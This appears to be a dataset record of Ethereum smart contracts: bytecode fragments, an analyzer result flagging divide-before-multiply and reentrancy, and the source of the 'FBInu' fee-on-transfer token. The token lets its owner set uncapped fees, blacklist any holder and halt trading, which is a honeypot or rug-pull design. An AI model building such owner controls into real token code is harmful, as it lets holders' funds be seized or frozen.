5b9050610b9c565b6000838152600b6020526040902060020154610b99904290611717565b90505b6005546000848152600b60205260408120549091610bc491610bbe90856117bc565b90611815565b6007546001600160a01b03881660009081526008602052604081205492935091610bf49190610bbe9085906117bc565b9050610c008482611762565b935084610c0f57505050610c1e565b50506000199092019150610b03565b9392505050565b600b6020526000908152604090208054600182015460029092015490919083565b60096020526000908152604090205481565b600a8181548110610c6557fe5b6000918252602090912001546001600160a01b0316905081565b60065461010090046001600160a01b03163314610cd1576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600680546001600160a01b0390921661010002610100600160a81b0319909216919091179055565b6000600c5411610d43576040805162461bcd60e51b815260206004820152601060248201526f1b9bc81c995dd85c9908185b5bdd5b9d60821b604482015290519081900360640190fd5b610d4b611450565b33600090815260096020526040902054811115610d745750336000908152600960205260409020545b60008111610dc0576040805162461bcd60e51b8152602060048201526014602482015273063616e277420636c61696d2072657761726420360641b604482015290519081900360640190fd5b600254610dd7906001600160a01b031633836116c0565b33600090815260096020526040902054610df19082611717565b33600081815260096020908152604091829020939093558051848152905191927fd0813ff03c470dcc7baa9ce36914dc2febdfd276d639deffaac383fd3db42ba392918290030190a250565b60055481565b60008111610e8a576040805162461bcd60e51b815260206004820152600f60248201526e063616e2774206465706f736974203608c1b604482015290519081900360640190fd5b610e92611450565b600a546000805b82811015610ee457336001600160a01b0316600a8281548110610eb857fe5b6000918252602090912001546001600160a01b03161415610edc5760019150610ee4565b600101610e99565b5080610f2d57600a80546001810182556000919091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80180546001600160a01b031916331790555b600454600090610f57906103e890610bbe90879063ffffffff600160a01b9091048116906117bc16565b90506000610f658583611717565b600354600154919250610f87916001600160a01b039081169133911685611857565b600454600154610fa6916001600160a01b039182169133911684611857565b600754610fb39082611762565b60075533600090815260086020526040902054610fd09082611762565b33600081815260086020908152604091829020939093558051848152905191927f2da466a7b24304f47e87fa2e1e5a81b9831ce54fec19055ce277ca2f39ba42c492918290030190a25050505050565b60065461010090046001600160a01b03163314611072576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600280546001600160a01b0319166001600160a01b0392909216919091179055565b60065461010090046001600160a01b031633146110e6576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6004805463ffffffff909216600160a01b0263ffffffff60a01b19909216919091179055565b600254604080516370a0823160e01b815230600482015290516000926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561074e57600080fd5b60065461010090046001600160a01b031633146111a9576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b600180546001600160a01b0319166001600160a01b0392909216919091179055565b60008111611211576040805162461bcd60e51b815260206004820152600e60248201526d063616e27742072657761726420360941b604482015290519081900360640190fd5b600060075411611268576040805162461bcd60e51b815260206004820152601f60248201527f746f74616c4465706f736974206d75737420626967676572207468616e203000604482015290519081900360640190fd5b600254611280906001600160a01b0316333084611857565b611288611450565b600c80546000908152600b60209081526040808320859055835483528083204260019182018190558554855293829020600201939093558354909201909255805183815290517feae918ad14bd0bcaa9f9d22da2b810c02f44331bf6004a76f049a3360891f916929181900390910190a150565b60065461010090046001600160a01b0316331461134e576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b6006805460ff1916911515919091179055565b6002546001600160a01b031681565b60065461010090046001600160a01b031633146113c2576040805162461bcd60e51b815260206004820152600b60248201526a21676f7665726e616e636560a81b604482015290519081900360640190fd5b63ffffffff16600555565b600154604080516370a0823160e01b815233600482015290516109e1926001600160a01b0316916370a08231916024808301926020929190829003018186803b15801561141957600080fd5b505afa15801561142d573d6000803e3d6000fd5b505050506040513d602081101561144357600080fd5b5051610e43565b600c5481565b600c54156109e157600c546000190160005b6000828152600b60205260409020600101544211156106eb576005546000838152600b602052604081206001015490919061149e904290611717565b11156114ec576000838152600b6020526040902060028101546005546001909201546114ce92610b6f9190611762565b6000848152600b60205260409020600019600190910155905061150c565b6000838152600b6020526040902060020154611509904290611717565b90505b6000838152600b6020526040812042600282015560055490546115349190610bbe90856117bc565b905060008093505b600a548410156116105761158c600754610bbe60086000600a898154811061156057fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205485906117bc565b90506115ce8160096000600a88815481106115a357fe5b60009182526020808320909101546001600160a01b0316835282019290925260400190205490611762565b60096000600a87815481106115df57fe5b60009182526020808320909101546001600160a01b031683528201929092526040019020556001939093019261153c565b8461161d575050506106eb565b50506000199092019150611462565b60075481565b6000805460408051602060026001851615610100026000190190941693909304601f810184900484028201840190925281815292918301828280156116b85780601f1061168d576101008083540402835291602001916116b8565b820191906000526020600020905b81548152906001019060200180831161169b57829003601f168201915b505050505081565b604080516001600160a01b038416602482015260448082018490528251808303909101815260649091019091526020810180516001600160e01b031663a9059cbb60e01b1790526117129084906118b7565b505050565b600061175983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a6f565b90505b92915050565b600082820183811015611759576040805162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b6000826117cb5750600061175c565b828202828482816117d857fe5b04146117595760405162461bcd60e51b8152600401808060200182810382526021815260200180611c3b6021913960400191505060405180910390fd5b600061175983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b06565b604080516001600160a01b0380861660248301528416604482015260648082018490528251808303909101815260849091019091526020810180516001600160e01b03166323b872dd60e01b1790526118b19085906118b7565b50505050565b6118c9826001600160a01b0316611b6b565b61191a576040805162461bcd60e51b815260206004820152601f60248201527f5361666545524332303a2063616c6c20746f206e6f6e2d636f6e747261637400604482015290519081900360640190fd5b60006060836001600160a01b0316836040518082805190602001908083835b602083106119585780518252601f199092019160209182019101611939565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146119ba576040519150601f19603f3d011682016040523d82523d6000602084013e6119bf565b606091505b509150915081611a16576040805162461bcd60e51b815260206004820181905260248201527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604482015290519081900360640190fd5b8051156118b157808060200190516020811015611a3257600080fd5b50516118b15760405162461bcd60e51b815260040180806020018281038252602a815260200180611c5c602a913960400191505060405180910390fd5b60008184841115611afe5760405162461bcd60e51b81526004018080602001828103825283818151815260200191508051906020019080838360005b83811015611ac3578181015183820152602001611aab565b50505050905090810190601f168015611af05780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b505050900390565b60008183611b555760405162461bcd60e51b8152602060048201818152835160248401528351909283926044909101919085019080838360008315611ac3578181015183820152602001611aab565b506000838581611b6157fe5b0495945050505050565b6000813f7fc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a4708115801590611b9f5750808214155b949350505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10611be857805160ff1916838001178555611c15565b82800160010185558215611c15579182015b82811115611c15578251825591602001919060010190611bfa565b50611c21929150611c25565b5090565b5b80821115611c215760008155600101611c2656fe536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220be7118cd2cafe9596cbe5f978fb01c5c5e88846602753f41194e6be36c6e544d64736f6c63430007000033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
8,806
0xaffcbb68519db2019a67796795579eb256e29d88
pragma solidity ^0.8.10; // SPDX-License-Identifier: Unlicensed abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract FBInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "FBInu"; string private constant _symbol = "$AGENT"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 69000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 2; uint256 private _taxFeeOnBuy = 6; uint256 private _redisFeeOnSell = 2; uint256 private _taxFeeOnSell = 6; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x08298fD970C5E86E9b76Bb00619aB51f2e117E4b); address payable private _marketingAddress = payable(0x08298fD970C5E86E9b76Bb00619aB51f2e117E4b); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 690000000 * 10**9; uint256 public _maxWalletSize = 2000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setmaxTx(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } function swap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80638da5cb5b116100f7578063b0c2b56111610095578063dd62ed3e11610064578063dd62ed3e14610553578063ea1644d514610599578063f2fde38b146105b9578063fc342279146105d957600080fd5b8063b0c2b561146104ce578063bfd79284146104ee578063c3c8cd801461051e578063c492f0461461053357600080fd5b806395d89b41116100d157806395d89b411461043f57806398a5c3151461046e578063a2a957bb1461048e578063a9059cbb146104ae57600080fd5b80638da5cb5b146103eb5780638f70ccf7146104095780638f9a55c01461042957600080fd5b8063313ce5671161016f57806370a082311161013e57806370a0823114610373578063715018a6146103935780637d1db4a5146103a85780637f2feddc146103be57600080fd5b8063313ce5671461030257806349bd5a5e1461031e5780636b9990531461033e5780636fc3eaec1461035e57600080fd5b80631694505e116101ab5780631694505e1461026e57806318160ddd146102a657806323b872dd146102cc5780632fd689e3146102ec57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461023e57600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611950565b6105f9565b005b34801561020a57600080fd5b506040805180820190915260058152644642496e7560d81b60208201525b6040516102359190611a15565b60405180910390f35b34801561024a57600080fd5b5061025e610259366004611a6a565b610698565b6040519015158152602001610235565b34801561027a57600080fd5b5060145461028e906001600160a01b031681565b6040516001600160a01b039091168152602001610235565b3480156102b257600080fd5b506803bd913e6c1df400005b604051908152602001610235565b3480156102d857600080fd5b5061025e6102e7366004611a96565b6106af565b3480156102f857600080fd5b506102be60185481565b34801561030e57600080fd5b5060405160098152602001610235565b34801561032a57600080fd5b5060155461028e906001600160a01b031681565b34801561034a57600080fd5b506101fc610359366004611ad7565b610718565b34801561036a57600080fd5b506101fc610763565b34801561037f57600080fd5b506102be61038e366004611ad7565b6107ae565b34801561039f57600080fd5b506101fc6107d0565b3480156103b457600080fd5b506102be60165481565b3480156103ca57600080fd5b506102be6103d9366004611ad7565b60116020526000908152604090205481565b3480156103f757600080fd5b506000546001600160a01b031661028e565b34801561041557600080fd5b506101fc610424366004611b04565b610844565b34801561043557600080fd5b506102be60175481565b34801561044b57600080fd5b50604080518082019091526006815265091051d1539560d21b6020820152610228565b34801561047a57600080fd5b506101fc610489366004611b1f565b61088c565b34801561049a57600080fd5b506101fc6104a9366004611b38565b6108bb565b3480156104ba57600080fd5b5061025e6104c9366004611a6a565b6108f9565b3480156104da57600080fd5b506101fc6104e9366004611b1f565b610906565b3480156104fa57600080fd5b5061025e610509366004611ad7565b60106020526000908152604090205460ff1681565b34801561052a57600080fd5b506101fc610935565b34801561053f57600080fd5b506101fc61054e366004611b6a565b610989565b34801561055f57600080fd5b506102be61056e366004611bee565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105a557600080fd5b506101fc6105b4366004611b1f565b610a2a565b3480156105c557600080fd5b506101fc6105d4366004611ad7565b610a59565b3480156105e557600080fd5b506101fc6105f4366004611b04565b610b43565b6000546001600160a01b0316331461062c5760405162461bcd60e51b815260040161062390611c27565b60405180910390fd5b60005b81518110156106945760016010600084848151811061065057610650611c5c565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068c81611c88565b91505061062f565b5050565b60006106a5338484610b8b565b5060015b92915050565b60006106bc848484610caf565b61070e843361070985604051806060016040528060288152602001611da2602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111eb565b610b8b565b5060019392505050565b6000546001600160a01b031633146107425760405162461bcd60e51b815260040161062390611c27565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6012546001600160a01b0316336001600160a01b0316148061079857506013546001600160a01b0316336001600160a01b0316145b6107a157600080fd5b476107ab81611225565b50565b6001600160a01b0381166000908152600260205260408120546106a99061125f565b6000546001600160a01b031633146107fa5760405162461bcd60e51b815260040161062390611c27565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461086e5760405162461bcd60e51b815260040161062390611c27565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108b65760405162461bcd60e51b815260040161062390611c27565b601855565b6000546001600160a01b031633146108e55760405162461bcd60e51b815260040161062390611c27565b600893909355600a91909155600955600b55565b60006106a5338484610caf565b6000546001600160a01b031633146109305760405162461bcd60e51b815260040161062390611c27565b601655565b6012546001600160a01b0316336001600160a01b0316148061096a57506013546001600160a01b0316336001600160a01b0316145b61097357600080fd5b600061097e306107ae565b90506107ab816112e3565b6000546001600160a01b031633146109b35760405162461bcd60e51b815260040161062390611c27565b60005b82811015610a245781600560008686858181106109d5576109d5611c5c565b90506020020160208101906109ea9190611ad7565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a1c81611c88565b9150506109b6565b50505050565b6000546001600160a01b03163314610a545760405162461bcd60e51b815260040161062390611c27565b601755565b6000546001600160a01b03163314610a835760405162461bcd60e51b815260040161062390611c27565b6001600160a01b038116610ae85760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610623565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b03163314610b6d5760405162461bcd60e51b815260040161062390611c27565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6001600160a01b038316610bed5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610623565b6001600160a01b038216610c4e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610623565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d135760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610623565b6001600160a01b038216610d755760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610623565b60008111610dd75760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610623565b6000546001600160a01b03848116911614801590610e0357506000546001600160a01b03838116911614155b156110e457601554600160a01b900460ff16610e9c576000546001600160a01b03848116911614610e9c5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610623565b601654811115610eee5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610623565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3057506001600160a01b03821660009081526010602052604090205460ff16155b610f885760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610623565b6015546001600160a01b0383811691161461100d5760175481610faa846107ae565b610fb49190611ca3565b1061100d5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610623565b6000611018306107ae565b6018546016549192508210159082106110315760165491505b8080156110485750601554600160a81b900460ff16155b801561106257506015546001600160a01b03868116911614155b80156110775750601554600160b01b900460ff165b801561109c57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c157506001600160a01b03841660009081526005602052604090205460ff16155b156110e1576110cf826112e3565b4780156110df576110df47611225565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112657506001600160a01b03831660009081526005602052604090205460ff165b8061115857506015546001600160a01b0385811691161480159061115857506015546001600160a01b03848116911614155b15611165575060006111df565b6015546001600160a01b03858116911614801561119057506014546001600160a01b03848116911614155b156111a257600854600c55600954600d555b6015546001600160a01b0384811691161480156111cd57506014546001600160a01b03858116911614155b156111df57600a54600c55600b54600d555b610a248484848461145d565b6000818484111561120f5760405162461bcd60e51b81526004016106239190611a15565b50600061121c8486611cbb565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610694573d6000803e3d6000fd5b60006006548211156112c65760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610623565b60006112d061148b565b90506112dc83826114ae565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132b5761132b611c5c565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611384573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113a89190611cd2565b816001815181106113bb576113bb611c5c565b6001600160a01b0392831660209182029290920101526014546113e19130911684610b8b565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061141a908590600090869030904290600401611cef565b600060405180830381600087803b15801561143457600080fd5b505af1158015611448573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061146a5761146a6114f0565b61147584848461151e565b80610a2457610a24600e54600c55600f54600d55565b6000806000611498611615565b90925090506114a782826114ae565b9250505090565b60006112dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611657565b600c541580156115005750600d54155b1561150757565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061153087611685565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061156290876116e2565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115919086611724565b6001600160a01b0389166000908152600260205260409020556115b381611783565b6115bd84836117cd565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161160291815260200190565b60405180910390a3505050505050505050565b60065460009081906803bd913e6c1df4000061163182826114ae565b82101561164e575050600654926803bd913e6c1df4000092509050565b90939092509050565b600081836116785760405162461bcd60e51b81526004016106239190611a15565b50600061121c8486611d60565b60008060008060008060008060006116a28a600c54600d546117f1565b92509250925060006116b261148b565b905060008060006116c58e878787611846565b919e509c509a509598509396509194505050505091939550919395565b60006112dc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111eb565b6000806117318385611ca3565b9050838110156112dc5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610623565